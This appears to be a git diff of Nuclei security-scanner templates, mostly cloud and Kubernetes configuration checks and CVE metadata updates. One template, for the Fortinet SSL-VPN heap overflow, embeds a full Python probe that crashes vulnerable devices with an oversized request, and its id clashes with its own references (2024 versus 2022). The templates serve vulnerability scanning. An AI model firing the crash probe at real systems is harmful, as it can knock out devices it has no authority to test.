@@ -62,13 +62,11 @@ code:
matchers:
- type: word
negative: true
words:
- "inherited"
- "enforced"
- 'inherited'
extractors:
- type: dsl
dsl:
- '"Public Access Prevention is not enabled for the bucket " + bucketName + " in project " + projectId'
# digest: 4a0a00473045022100f5da0436a6b329b1bc22187624b39ca6eb16b8b7b500bad99158786c701d90c502200188b5517fb363ee7790049fc05f8d63ae6d8a23dc1763481b8bc1bc1333d301:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100c1b3ec23ade491f0feed95fabd9d6ddc0497ca798fc90e87e937354910e9fc79022061180eaadc90af9f7270297bfafaad491d57c30b6f5af1eee12f047e5e3c2885:922c64590222798bb761d5b6d8e72950
+3 -4
View File
@@ -35,7 +35,7 @@ code:
name: projectIds
internal: true
json:
- ".[].projectId"
- '.[].projectId'
- engine:
- sh
@@ -45,12 +45,11 @@ code:
matchers:
- type: word
part: body
words:
- '"name": "default"'
- 'default'
extractors:
- type: dsl
dsl:
- '"The default VPC network is in use in project " + projectId'
# digest: 4a0a00473045022100dac56d5c0cf82c13d6b7d4b2556aea94ece44bd1ee3fa9dea355cfee33296539022035233a06905e636e15a23dae37054a6eef797b37db6da1a9f716fd119562de7c:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100ab535503a862d00ef6624bb1eb9dcf10f41a12512e62037044333ae5d539fafc022100e5d94c98878e32663b7a4da7abe3150a742fbf9226ae4af273d4282c11353910:922c64590222798bb761d5b6d8e72950
@@ -1,45 +0,0 @@
id: k8s-apiserver-anonymous-access
info:
name: Ensure kube-apiserver --anonymous-auth is explicitly disabled
author: songyaeji
severity: high
description: Checks whether kube-apiserver explicitly sets --anonymous-auth=false in its startup arguments.
impact: |
If --anonymous-auth is not explicitly disabled, anonymous unauthenticated requests might be allowed,
enabling unauthenticated access to cluster resources.
remediation: |
Edit the kube-apiserver manifest (e.g., /etc/kubernetes/manifests/kube-apiserver.yaml) or startup flags
and ensure "--anonymous-auth=false" is present in the apiserver arguments.
reference:
- https://kubernetes.io/docs/reference/command-line-tools-reference/kube-apiserver/
tags: cloud,devops,kubernetes,security,devsecops,api-server,k8s,k8s-cluster-security
variables:
argument: "--anonymous-auth=false"
self-contained: true
code:
- engine:
- sh
- bash
source: |
kubectl get pods -n kube-system -l component=kube-apiserver -o jsonpath="{.items[*].spec.containers[*].command}" 2>/dev/null || \
kubectl get pods -n kube-system -l k8s-app=kube-apiserver -o jsonpath="{.items[*].spec.containers[*].command}" 2>/dev/null || \
kubectl get pods -n kube-system -o jsonpath="{.items[?(@.metadata.name.indexOf('kube-apiserver')>=0)].spec.containers[*].command}" 2>/dev/null || \
echo ""
matchers-condition: and
matchers:
- type: word
words:
- 'kube-apiserver'
- type: word
words:
- "{{argument}}"
negative: true
extractors:
- type: dsl
dsl:
- '"kube-apiserver configuration does not explicitly set " + argument + ". This may allow anonymous access."'
# digest: 4a0a00473045022100d0c4bd2d21dce35e0c47b2d42500b6f9db81b0b3e5c5f7c27969c09297fa84110220190d2e14c1518c8cd02de2d1b1db103825aaf277c283bf400106ca9250da7f32:922c64590222798bb761d5b6d8e72950
@@ -1,43 +0,0 @@
id: k8s-apiserver-token-auth-file
info:
name: Detect kube-apiserver --token-auth-file usage
author: songyaeji
severity: high
description: Detects whether kube-apiserver includes the --token-auth-file startup argument.
impact: |
If the API server is started with --token-auth-file, static token file authentication may be allowed, which can enable long-lived or poorly managed tokens and weaken cluster authentication posture.
remediation: |
Remove the --token-auth-file argument from the kube-apiserver startup flags (e.g., edit
/etc/kubernetes/manifests/kube-apiserver.yaml) or ensure any tokens in that file are rotated
and managed securely. Prefer dynamic, short-lived service account tokens and RBAC.
reference:
- https://kubernetes.io/docs/reference/command-line-tools-reference/kube-apiserver/
tags: cloud,devops,kubernetes,security,devsecops,api-server,k8s,k8s-cluster-security
variables:
argument: "--token-auth-file"
self-contained: true
code:
- engine:
- sh
- bash
source: |
kubectl get pods -n kube-system -l component=kube-apiserver -o jsonpath="{.items[*].spec.containers[*].command}"
matchers-condition: and
matchers:
- type: word
words:
- 'kube-apiserver'
- type: word
words:
- "{{argument}}"
extractors:
- type: dsl
dsl:
- '"kube-apiserver is configured with " + argument + ". Review and remove if unnecessary."'
# digest: 490a004630440220406c76857bf007a985f74be4f4f7f85f7f8da773fb9d363ae9deb4995c4155b10220309ba2bba33bee584dc505e418d7ed08ab3aef4beac30fe1888fa3bccba92797:922c64590222798bb761d5b6d8e72950
@@ -1,50 +0,0 @@
id: k8s-controller-manager-bind-address
info:
name: Ensure kube-controller-manager --bind-address is set to localhost
author: songyaeji
severity: high
description: |
Ensure kube-controller-manager is bound to localhost (127.0.0.1 or ::1). If --bind-address is missing or
set to 0.0.0.0 (::), the controller-manager API may be reachable from all network interfaces, increasing
exposure of the control-plane component.
impact: |
If the kube-controller-manager listens on all interfaces, an attacker with network access may be able to
interact with the controller-manager API, causing potential information leakage or enabling further attacks
against the cluster.
remediation: |
Set --bind-address=127.0.0.1 (or ::1) in the kube-controller-manager startup arguments. For example, edit
/etc/kubernetes/manifests/kube-controller-manager.yaml and add the argument to the command section.
reference:
- https://kubernetes.io/docs/reference/command-line-tools-reference/kube-controller-manager/
- Cloud Vulnerability Assessment Guide(2024) by KISA
tags: cloud,devops,kubernetes,devsecops,kube-controller-manager,bind-address,hardening,k8s,k8s-cluster-security
variables:
component: "kube-controller-manager"
self-contained: true
code:
- engine:
- sh
- bash
source: |
kubectl get pods -n kube-system -l component=kube-controller-manager -o jsonpath="{.items[*].spec.containers[*].command}"
matchers-condition: and
matchers:
- type: word
words:
- 'kube-controller-manager'
- type: word
words:
- "--bind-address=127.0.0.1"
- "--bind-address=::1"
negative: true
extractors:
- type: dsl
dsl:
- '"kube-controller-manager configuration is missing --bind-address or set to unsafe value (expected: 127.0.0.1 or ::1)"'
# digest: 490a0046304402202913db41a43350176fa630504391e5399d252294710b1bad1c50cd162a8defcb02205cb4ec1d6e05dd2b5fa493bf0668f0c0bf4fa5f521759e4f84f95927e4e465d9:922c64590222798bb761d5b6d8e72950
@@ -1,49 +0,0 @@
id: k8s-scheduler-bind-address
info:
name: Ensure kube-scheduler --bind-address is set to localhost
author: songyaeji
severity: high
description: |
Ensure kube-scheduler is bound to localhost (127.0.0.1 or ::1). If --bind-address is missing or set to
0.0.0.0 (::), the scheduler API may be reachable from all network interfaces, increasing exposure of the
control-plane component.
impact: |
If the kube-scheduler listens on all interfaces, an attacker with network access may be able to interact
with the scheduler API, causing potential information leakage or enabling further attacks against the cluster.
remediation: |
Set --bind-address=127.0.0.1 (or ::1) in the kube-scheduler startup arguments. For example, edit
/etc/kubernetes/manifests/kube-scheduler.yaml and add the argument to the command section.
reference:
- https://kubernetes.io/docs/reference/command-line-tools-reference/kube-scheduler/
- Cloud Vulnerability Assessment Guide(2024) by KISA
tags: cloud,devops,kubernetes,devsecops,kube-scheduler,bind-address,hardening,k8s,k8s-cluster-security
variables:
component: "kube-scheduler"
self-contained: true
code:
- engine:
- sh
- bash
source: |
kubectl get pods -n kube-system -l component=kube-scheduler -o jsonpath="{.items[*].spec.containers[*].command}"
matchers-condition: and
matchers:
- type: word
words:
- 'kube-scheduler'
- type: word
words:
- "--bind-address=127.0.0.1"
- "--bind-address=::1"
negative: true
extractors:
- type: dsl
dsl:
- '"kube-scheduler configuration is missing --bind-address or set to unsafe value (expected: 127.0.0.1 or ::1)"'
# digest: 490a00463044022006a49804407d0d9b937760383c56604a16a549d8c45cb57b0ee1f8868b9e80c002204a7fb3c2364c55968c93e78151ce7a23232c10360bd6ffdc4ccd3c0c8aede23e:922c64590222798bb761d5b6d8e72950
@@ -12,7 +12,7 @@ info:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,ssh,linux,audit,ubuntu,benchmark
tags: cis,ssh,linux,audit,ubuntu,benchmark
self-contained: true
@@ -58,4 +58,4 @@ code:
name: policy-error
words:
- "Policy-Error"
# digest: 490a0046304402203ea0832a8c4b917fb2679f7ad2ab9487115c54adfcff441be71dbb40d59da13a02201683771b631252e5015bae4fbebb7762c9b6af94da44c42224e548f8e0e4e3c8:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100e49a751d372c40d34a054dbcb8f6a10f8703e5ab37531281bfe92823e9406c59022100d3e53c4e0c9add71c25452f81ce654ae390a031d123a3fbcbd75710031893ccf:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
- https://docs.datadoghq.com/security/default_rules/def-000-fqw/
metadata:
verified: true
tags: cis,local,ssh,linux,audit,ubuntu,benchmark
tags: cis,ssh,linux,audit,ubuntu,benchmark
self-contained: true
@@ -43,4 +43,4 @@ code:
name: policy-fail
words:
- "Policy-Fail"
# digest: 490a004630440220143cf5a634bf8bfdd48a2dd1285e72edce7ba02474d4c4eb3e848c2f1790093102207c2cf4247a5fe9536dde6756ef936b79aeb786b9c7311dd0461daf36f54ea233:922c64590222798bb761d5b6d8e72950
# digest: 490a00463044022013edf98f527f0171254a8ef0aafc2ac836f099ba47c7556913bc253e21a49878022072275743c7347b438d73fbc3b1b65b9498bea608ed176ab9925ba71139a92e2d:922c64590222798bb761d5b6d8e72950
+2 -5
View File
@@ -10,10 +10,7 @@ info:
- https://github.com/vulhub/vulhub/tree/master/openssl/CVE-2014-0160
metadata:
verified: true
classification:
epss-score: 0.94464
epss-percentile: 0.99994
tags: cve,cve2014,openssl,heartbleed,code,kev,vkev,vuln
tags: cve,cve2014,openssl,heartbleed,code,kev
variables:
url: "{{RootURL}}"
@@ -138,4 +135,4 @@ code:
- type: dsl
dsl:
- "contains(response,'server is vulnerable')"
# digest: 490a00463044021f08730bdd93c1e5d349e30aba9d6e49708554854c599f6b69e570663e6937f6022100f69bf373b4572851d2943c9ac6e1c502ea41197277abaa4d58ab5c147bafcac9:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100ed75e4d98947fd01fbc7873eeb6436b559a749bb88a5a85f71fef8c2f83f9e48022100cb170dc3f8592781394acbba1560953c29e7b0b1d36c191aee134aa6d178aa74:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -15,8 +15,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2017-1000353
cwe-id: CWE-502
epss-score: 0.94508
epss-percentile: 1
epss-score: 0.94421
epss-percentile: 0.99980
cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*
metadata:
vendor: jenkins
@@ -27,7 +27,7 @@ info:
- product:"jenkins"
- x-jenkins
fofa-query: icon_hash=81586312
tags: cve,cve2017,jenkins,rce,vkev,kev,vuln
tags: cve,cve2017,jenkins,rce
variables:
OAST: "{{interactsh-url}}"
@@ -104,4 +104,4 @@ code:
dsl:
- 'contains(interactsh_protocol, "dns")'
condition: and
# digest: 4a0a004730450220013b6879d7764487c8b88f29158a874858c91a913af2263e70b20f6120607c7e022100907a0683448cf78b2c40b409b2ea20a8f53080bc0433c209b1f27d4f11e042ab:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450221008ad7ac179e8f3a0e00ba3b55bbcd325bc227198722b23a0dbe8a67a6612064aa02205d4644f6641fec1f795b5e8798530e4fda4a73f321b2e9d982bcc104a3218ae5:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -17,14 +17,14 @@ info:
cvss-score: 9.8
cve-id: CVE-2019-0604
cwe-id: CWE-20
epss-score: 0.94414
epss-percentile: 0.99975
epss-score: 0.94411
epss-percentile: 0.99974
metadata:
verified: true
vendor: microsoft
product: sharepoint
shodan-query: cpe:"cpe:2.3:a:microsoft:sharepoint_server"
tags: cve,cve2019,sharepoint,microsoft,rce,kev,vkev,vuln
tags: cve,cve2019,sharepoint,microsoft,rce,kev
variables:
OAST: "{{interactsh-url}}"
@@ -154,4 +154,4 @@ code:
- 'contains(interactsh_protocol, "dns")'
- 'contains(interactsh_request, hex_encode(marker))'
condition: and
# digest: 4b0a00483046022100e24420fdcf4de91d370c7aad1109a0b9e12c7a0a5a45977bdf9b1deab4edd5bb022100be4cf9432583500208d8282bda0b5913b0a99f46d01a4dcf9bd8cf0cb766a523:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022022019f9c11593b4c5a1f55755d532f6a64858d80153beb783f2c2d61684e0439022100fd41aa3e2ae1ad5d411c2c569383a2498ebf4a48cb1a9cf01f89748879c446c7:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -17,15 +17,15 @@ info:
cvss-score: 8.8
cve-id: CVE-2019-14287
cwe-id: CWE-755
epss-score: 0.86126
epss-percentile: 0.99353
epss-score: 0.84563
epss-percentile: 0.99279
cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: sudo_project
product: sudo
tags: packetstorm,cve,cve2019,sudo,code,linux,privesc,local,canonical,sudo_project,vuln
tags: packetstorm,cve,cve2019,sudo,code,linux,privesc,local,canonical,sudo_project
self-contained: true
code:
@@ -47,4 +47,4 @@ code:
- '!contains(code_1_response, "root")'
- 'contains(code_2_response, "root")'
condition: and
# digest: 4b0a0048304602210085b92685b1bfd0414acb52977757bd76db71254cccdeb2fcae945c82eaf44ece02210087377f6d6c7dd561271722a2aff63533e21217b470225075ffb2e23a5087b95a:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402203ef02b5bc66bde9a84033a2d0eb02c7b2e73e3277c34377c90de755624be9ba6022055e7503686510f19241007aa2443ba097120831bbe89ba7526451d5f3aa95896:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -15,8 +15,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2020-0646
cwe-id: CWE-91
epss-score: 0.93865
epss-percentile: 0.99858
epss-score: 0.92775
epss-percentile: 0.99755
cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
metadata:
verified: true
@@ -24,7 +24,7 @@ info:
product: .net_framework
shodan-query: 'server:"ms .net remoting"'
max-request: 1
tags: cve,cve2020,net-framework,sharepoint,microsoft,packetstorm,rce,kev,oast,vkev,vuln
tags: cve,cve2020,net-framework,sharepoint,microsoft,packetstorm,rce,kev,oast
variables:
OAST: "{{interactsh-url}}"
@@ -102,4 +102,4 @@ code:
- 'contains(content_type, "text/xml")'
- 'status_code == 200'
condition: and
# digest: 490a0046304402204d77b29d042f79c530ecf6ccde43ddc5e50c3dd33fe80a2fd99dd1e903cdb139022014c72663cbad42f4b76119650e3a2e8043cd3e9e7808beb1fafc7504d41bb47a:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100a9c7370f5d64f484afc46075695941e15917d5a0687dd077ae6699501475bc1c02207a3961cc5b43a81ff13243b2dbb044a37081cf76fead5b7be2c772e481685c5c:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -10,8 +10,8 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
cvss-score: 7.5
cve-id: CVE-2020-13935
epss-score: 0.92155
epss-percentile: 0.99693
epss-score: 0.91885
epss-percentile: 0.99681
reference:
- http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
- http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html
@@ -24,7 +24,7 @@ info:
shodan-query: html:"Apache Tomcat"
vendor: apache
product: tomcat
tags: cve,cve2020,tomcat,websocket,dos,code,vuln
tags: cve,cve2020,tomcat,websocket,dos,code
flow: http(1) && code(1,2) && code (3)
+4 -4
View File
@@ -17,14 +17,14 @@ info:
cvss-score: 7.8
cve-id: CVE-2021-3156
cwe-id: CWE-193
epss-score: 0.92235
epss-percentile: 0.99698
epss-score: 0.92019
epss-percentile: 0.99693
cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
metadata:
verified: true
vendor: sudo_project
product: sudo
tags: packetstorm,cve,cve2021,sudo,code,linux,privesc,local,kev,sudo_project,vkev,vuln
tags: packetstorm,cve,cve2021,sudo,code,linux,privesc,local,kev,sudo_project
self-contained: true
code:
@@ -40,4 +40,4 @@ code:
- "malloc(): memory corruption"
- "Aborted (core dumped)"
condition: and
# digest: 4a0a00473045022100dc7c00ab176125258a61cb73cbae4a476ac3ed30e413a84da417d2ad940ba1a002205cc8a03b781e29c9c66b73f9259fa9bf87970e52b84ef2d5551672d9afba95b0:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502203288bc289d0cc0f4e06e605006f21fa1933c3a8a43067f2e9217000a34b340ae022100eb4c9a1fad050dd80783cfcff25e73bc958d1ad84a2f6f09fcbf1c0deebe680c:922c64590222798bb761d5b6d8e72950
+123 -147
View File
@@ -1,8 +1,8 @@
id: CVE-2022-42475
id: CVE-2024-42475
info:
name: Fortinet SSL-VPN - Heap-Based Buffer Overflow
author: 0xhaggis,pszyszkowski,pussycat0x
author: 0xhaggis,pszyszkowski
severity: critical
description: |
A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN (versions 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier) and FortiProxy SSL-VPN (versions 7.2.0 through 7.2.1, 7.0.7 and earlier) may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.
@@ -16,44 +16,20 @@ info:
- https://fortiguard.com/psirt/FG-IR-22-398
- https://labs.watchtowr.com/fortinet-no-more-funny-titles-cve-2022-42475/
- https://bishopfox.com/blog/exploit-cve-2022-42475
- https://github.com/3yujw7njai/CVE-2022-42475-RCE-POC
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-42475
cwe-id: CWE-197,CWE-787
epss-score: 0.9394
epss-percentile: 0.99871
cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
cve-id: CVE-2024-42475
cwe-id: CWE-122
metadata:
max-request: 1
vendor: fortinet
product: fortios
shodan-query:
- port:10443 http.favicon.hash:945408572
- cpe:"cpe:2.3:o:fortinet:fortios"
- http.html:"/remote/login" "xxxxxxxx"
- http.favicon.hash:"945408572"
fofa-query:
- body="/remote/login" "xxxxxxxx"
- icon_hash="945408572"
tags: cve,cve2024,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev,vkev,vuln
flow: http () && code()
http:
- method: GET
path:
- "{{BaseURL}}/remote/login"
- "{{BaseURL}}/login"
stop-at-first-match: true
host-redirects: true
matchers:
- type: dsl
internal: true
dsl:
- 'contains(body, "Launch FortiClient") || contains(body, "ftnt-fortinet-grid")'
- 'status_code == 200'
condition: and
tags: cve,cve2024,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev
code:
- engine:
@@ -61,140 +37,140 @@ code:
- python3
source: |
import sys, os, time, socket, ssl
PADDING = 0x4141414141414141
PADDING_LEN = 1024*12
CONTENT_LENGTH = b"4294967297"
import sys, os, time, socket, ssl
PADDING = 0x4141414141414141
PADDING_LEN = 1024*12
CONTENT_LENGTH = b"4294967297"
class SSLVPNExploit:
def __init__(self, host, port):
self.host = host
self.port = port
def connect(self):
tries = 1
if os.getenv("Scheme") == "https":
useSSL = True
print("[+] Using SSL/TLS")
else:
useSSL = False
print("[+] Unencrypted connection")
while tries <= 6:
try:
print("[+] Connecting to %s [ attempt %d of 6 ] \r" % (self.host, tries), end='\n')
self.cleartext_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if useSSL == True:
ctx = ssl._create_unverified_context()
self.socket = ctx.wrap_socket(self.cleartext_socket)
else:
self.socket = self.cleartext_socket
self.socket.settimeout(2.0)
self.socket.connect((self.host, self.port))
class SSLVPNExploit:
def __init__(self, host, port):
self.host = host
self.port = port
def connect(self):
tries = 1
if os.getenv("Scheme") == "https":
useSSL = True
print("[+] Using SSL/TLS")
else:
useSSL = False
print("[+] Unencrypted connection")
while tries <= 6:
try:
print("[+] Connecting to %s [ attempt %d of 6 ] \r" % (self.host, tries), end='\n')
self.cleartext_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if useSSL == True:
ctx = ssl._create_unverified_context()
self.socket = ctx.wrap_socket(self.cleartext_socket)
else:
self.socket = self.cleartext_socket
self.socket.settimeout(2.0)
self.socket.connect((self.host, self.port))
return self.socket
except socket.timeout as e:
tries += 1
print("Connection timeout!")
continue
except Exception as e:
print("Unknown error!")
print(e)
return None
return self.socket
except socket.timeout as e:
tries += 1
print("Connection timeout!")
continue
except Exception as e:
print("Unknown error!")
print(e)
return None
return None
def check_by_get(self):
get_req = bytearray(b"")
get_req += b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
print("[>] Sending GET first")
if self.connect() == None:
print("[!] Error connecting to target")
exit(1)
try:
self.socket.sendall(get_req)
self.socket.settimeout(10)
get_buf = self.socket.recv(1048576)
if len(get_buf) == 0:
print("Error while sending GET. Protocol mismatch?")
return None
self.socket.close()
return True
except socket.timeout as e:
print("[>] Target waited for more data.")
return False
except Exception as e:
print("[>] Target dropped the connection during test GET, which indicates a communication error!")
print(e)
return None
def check_by_get(self):
get_req = bytearray(b"")
get_req += b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
print("[>] Sending GET first")
if self.connect() == None:
print("[!] Error connecting to target")
exit(1)
try:
self.socket.sendall(get_req)
def is_vulnerable(self):
req = bytearray(b"")
req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nContent-Length: " + CONTENT_LENGTH + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
req += b"AAAAAAAA"*(PADDING_LEN)
self.socket.settimeout(10)
get_buf = self.socket.recv(1048576)
print("[>] Testing to see if target is vulnerable (may take 10 seconds)")
if self.connect() == None:
print("[!] Error connecting to target")
exit(1)
if len(get_buf) == 0:
print("Error while sending GET. Protocol mismatch?")
return None
self.socket.close()
return True
except socket.timeout as e:
print("[>] Target waited for more data.")
return False
try:
# Send the payload. Vuln instances will crash, severing the connection and
# causing an exception to be thrown here.
self.socket.sendall(req)
except Exception as e:
print("[>] Target dropped the connection during test GET, which indicates a communication error!")
print(e)
return None
# If this read succeeds then the target is probably not vulnerable.
# If it times out, then it's also probably not vulnerable.
self.socket.settimeout(10)
buf = self.socket.recv(1048576)
def is_vulnerable(self):
req = bytearray(b"")
req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nContent-Length: " + CONTENT_LENGTH + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
req += b"AAAAAAAA"*(PADDING_LEN)
# If the remote end disconnects without an HTTP response then it's vulnerable.
if len(buf) == 0:
return True
print("[>] Testing to see if target is vulnerable (may take 10 seconds)")
if self.connect() == None:
print("[!] Error connecting to target")
exit(1)
# Check to see if it has the vendor patch applied
if buf.decode("utf-8", errors="replace").__contains__("HTTP/1.1 413 Request Entity Too Large"):
print("[>] Target is patched.")
return False # 100% confidence that it's not vulnerable.
try:
# Send the payload. Vuln instances will crash, severing the connection and
# causing an exception to be thrown here.
self.socket.sendall(req)
# Ok, something weird and unexpected happened.
print("[>] An unexpected response (%d bytes) was recieved:" % len(buf))
print("----- BEGIN RESPONSE -----")
print(buf.decode("utf-8", errors="replace").replace("\\r\\n", "\n"))
print("----- END RESPONSE -----")
self.socket.close()
return None
# If this read succeeds then the target is probably not vulnerable.
# If it times out, then it's also probably not vulnerable.
self.socket.settimeout(10)
buf = self.socket.recv(1048576)
except socket.timeout as e:
print("[>] Target waited for more data. Not vulnerable.")
return False
except Exception as e:
print("[>] Target dropped the connection, which indicates a vulnerable device!")
print(e)
return True
# If the remote end disconnects without an HTTP response then it's vulnerable.
if len(buf) == 0:
return True
if __name__ == '__main__':
host=os.getenv("Host")
port=int(os.getenv("Port"))
exploit = SSLVPNExploit(host, port)
check = exploit.check_by_get()
# Check to see if it has the vendor patch applied
if buf.decode("utf-8", errors="replace").__contains__("HTTP/1.1 413 Request Entity Too Large"):
print("[>] Target is patched.")
return False # 100% confidence that it's not vulnerable.
if check == True:
result = exploit.is_vulnerable()
if result == None:
print("[!] An error occurred testing for the vulnerability.\n[!] Is this even a FortiGate SSL-VPN?")
exit(2)
# Ok, something weird and unexpected happened.
print("[>] An unexpected response (%d bytes) was recieved:" % len(buf))
print("----- BEGIN RESPONSE -----")
print(buf.decode("utf-8", errors="replace").replace("\\r\\n", "\n"))
print("----- END RESPONSE -----")
self.socket.close()
return None
if result == True:
print("[+] Target appears to be VULNERABLE")
exit(0)
except socket.timeout as e:
print("[>] Target waited for more data. Not vulnerable.")
return False
except Exception as e:
print("[>] Target dropped the connection, which indicates a vulnerable device!")
print(e)
return True
if __name__ == '__main__':
host=os.getenv("Host")
port=int(os.getenv("Port"))
exploit = SSLVPNExploit(host, port)
check = exploit.check_by_get()
if check == True:
result = exploit.is_vulnerable()
if result == None:
print("[!] An error occurred testing for the vulnerability.\n[!] Is this even a FortiGate SSL-VPN?")
exit(2)
if result == True:
print("[+] Target appears to be VULNERABLE")
exit(0)
else:
print("[+] Target is NOT vulnerable")
exit(1)
else:
print("[+] Target is NOT vulnerable")
exit(1)
matchers:
- type: word
words:
- "Target appears to be VULNERABLE"
# digest: 4a0a00473045022100d2af2dfdaec0bb3603e11ee21cae5d8d463d064346c4fd33dafd0d54c73937b9022074421a7c25d5e18222da9a0a70b404a14a17cfa85f01a7480285ea8fa9f9a5dc:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100df2185bba8207644d6ccf7a16a4f4fd737eeee1f8bd6f4622ac7049188f5040b022100ef25386cc59ebe43e9f9d3796c23e7edee1e2f34a0d1a88c7318c3180af1f587:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -22,7 +22,7 @@ info:
cve-id: CVE-2023-2640
cwe-id: CWE-863
epss-score: 0.91874
epss-percentile: 0.99672
epss-percentile: 0.99680
cpe: cpe:2.3:o:canonical:ubuntu_linux:23.04:*:*:*:*:*:*:*
metadata:
verified: true
@@ -30,7 +30,7 @@ info:
vendor: canonical
product: ubuntu_linux
shodan-query: cpe:"cpe:2.3:o:canonical:ubuntu_linux"
tags: cve,cve2023,code,packetstorm,kernel,ubuntu,linux,privesc,local,canonical,vkev,vuln
tags: cve,cve2023,code,packetstorm,kernel,ubuntu,linux,privesc,local,canonical
self-contained: true
code:
@@ -55,4 +55,4 @@ code:
- '!contains(code_1_response, "(root)")'
- 'contains(code_2_response, "(root)")'
condition: and
# digest: 4a0a00473045022100e3e54ab5bfb2f60d03b6a237019b84cfecb2eace4381bb1b959ae0764f1dce8202203f1220006e8e5d19d69b6e74c701295f2d06c2649a269ee45f38e578750b64f9:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502202809a713e4b7f0f60945476a6178a11001fed63e5a210c5f7d1e3051d0f2d532022100c48469b0082d1264875fcb51ece29a27c1a5ecc9513ccca86afd183931ae3472:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -17,8 +17,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2023-49105
cwe-id: CWE-287
epss-score: 0.86244
epss-percentile: 0.99356
epss-score: 0.86872
epss-percentile: 0.99395
cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
metadata:
max-request: 2
@@ -29,7 +29,7 @@ info:
- http.title:"owncloud"
fofa-query: title="owncloud"
google-query: intitle:"owncloud"
tags: cve,cve2023,code,owncloud,auth-bypass,vuln
tags: cve,cve2023,code,owncloud,auth-bypass
variables:
username: admin
@@ -90,4 +90,4 @@ http:
- type: dsl
dsl:
- '"Username => "+ username'
# digest: 490a0046304402204f476545141ffc0526b4e3c7c6d59d2ac7b6bd6737263b3e5c43382c39b3488e0220343b85850dbe3d9c50b8b098109edcfa85d2743f605d6aadc13d6e49d0f72ad1:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402204b1fb18af3e1a3a93ddf533a7112f566b1c32c20d54fce52634df059c876cd060220684fd961920c7f143e93d510a7e4219626c8ef2291c908ffecbb8a92171f9185:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -17,14 +17,14 @@ info:
cvss-score: 7.8
cve-id: CVE-2023-4911
cwe-id: CWE-787,CWE-122
epss-score: 0.69791
epss-percentile: 0.98588
epss-score: 0.66736
epss-percentile: 0.98452
cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: gnu
product: glibc
tags: cve,cve2023,code,glibc,looneytunables,linux,privesc,local,kev,gnu,vkev,vuln
tags: cve,cve2023,code,glibc,looneytunables,linux,privesc,local,kev,gnu
self-contained: true
code:
@@ -39,4 +39,4 @@ code:
- type: word
words:
- "139" # Segmentation Fault Exit Code
# digest: 4b0a0048304602210088de18f60ccbfb17a2d25e4bae39d32bb2d4dc5b2bdf5e5282427943e933ca400221009937c76fda32aa99520007e948e8e7c1f58a95828d58dcfbf252e068a511b519:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502207a6e5753b4c34b6c6a6b114a627b1024aea6e7ffaf398b1a92eb895c3a0449b9022100e7d7bde1dcc8c8248fa38491377b58370af797f1769f84f3be87a1fa8e672445:922c64590222798bb761d5b6d8e72950
+4 -4
